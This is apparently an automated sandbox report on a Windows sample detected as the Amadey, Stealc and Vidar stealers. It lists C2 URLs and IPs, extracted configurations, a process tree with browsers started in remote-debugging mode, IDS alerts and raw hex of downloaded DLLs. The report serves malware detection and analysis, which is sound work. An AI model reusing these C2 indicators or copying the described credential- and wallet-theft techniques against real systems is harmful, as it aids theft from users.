Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561235
MD5:	e0907cecf84597ff5476178c7addd920
SHA1:	d8deb30212420bf1ef69199146d869cf5408e836
SHA256:	08dc99ba8da04f16d328f32f11c7721366ecfaafd04c21e7b3c0a3a2eb794dae
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5640 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E0907CECF84597FF5476178C7ADDD920)

chrome.exe (PID: 1708 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4832 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=1992,i,11116449374999866052,6667238592882997596,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8156 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7924 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2108,i,16945765507413660770,14128624354131785041,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8980 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCAFIJDGHC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsHCAFIJDGHC.exe (PID: 6804 cmdline: "C:\Users\user\DocumentsHCAFIJDGHC.exe" MD5: 642A88E4846A4148E7A4BED5A1F988A2)

skotes.exe (PID: 8020 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 642A88E4846A4148E7A4BED5A1F988A2)

msedge.exe (PID: 5324 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7316 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2032,i,18235995259734345165,12719707871495107265,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8740 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6732 --field-trial-handle=2032,i,18235995259734345165,12719707871495107265,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8756 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6940 --field-trial-handle=2032,i,18235995259734345165,12719707871495107265,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8556 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=2432 --field-trial-handle=2032,i,18235995259734345165,12719707871495107265,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 2828 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 642A88E4846A4148E7A4BED5A1F988A2)

skotes.exe (PID: 6044 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 642A88E4846A4148E7A4BED5A1F988A2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2587213039.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000003.2580836790.00000000051A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000003.3273779567.00000000052A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.2614240745.0000000004900000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000002.3313608021.00000000008E1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000002.2623360968.0000000000951000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2075003710.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2586630909.000000000071E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.2655092186.00000000008E1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.2665437808.00000000008E1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.2624888080.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 5640	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5640	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5640	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5640	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
22.2.skotes.exe.8e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.8e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.DocumentsHCAFIJDGHC.exe.950000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.8e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5640, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 1708, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T23:06:06.262898+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T23:06:06.124779+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T23:06:06.584937+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T23:06:08.054816+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T23:06:06.706195+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T23:06:05.683565+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T23:08:06.022583+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50097	185.215.113.43	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T23:06:08.765013+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-22T23:06:31.255944+0100	2803304	3	Unknown Traffic	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-22T23:06:33.285427+0100	2803304	3	Unknown Traffic	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-22T23:06:34.757077+0100	2803304	3	Unknown Traffic	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-22T23:06:36.101220+0100	2803304	3	Unknown Traffic	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-22T23:06:40.000010+0100	2803304	3	Unknown Traffic	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-22T23:06:41.087087+0100	2803304	3	Unknown Traffic	192.168.2.5	49762	185.215.113.206	80	TCP
2024-11-22T23:06:47.270041+0100	2803304	3	Unknown Traffic	192.168.2.5	49901	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/freebl3.dll=	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpF#	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php%	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpbJ	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpt#	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000015.00000003.2580836790.00000000051A0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.2586630909.000000000071E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4E6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C4E6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.231.128.67:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.231.128.67:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50055 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2631574798.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2631574798.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50097 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 22 Nov 2024 22:06:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 22 Nov 2024 22:06:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 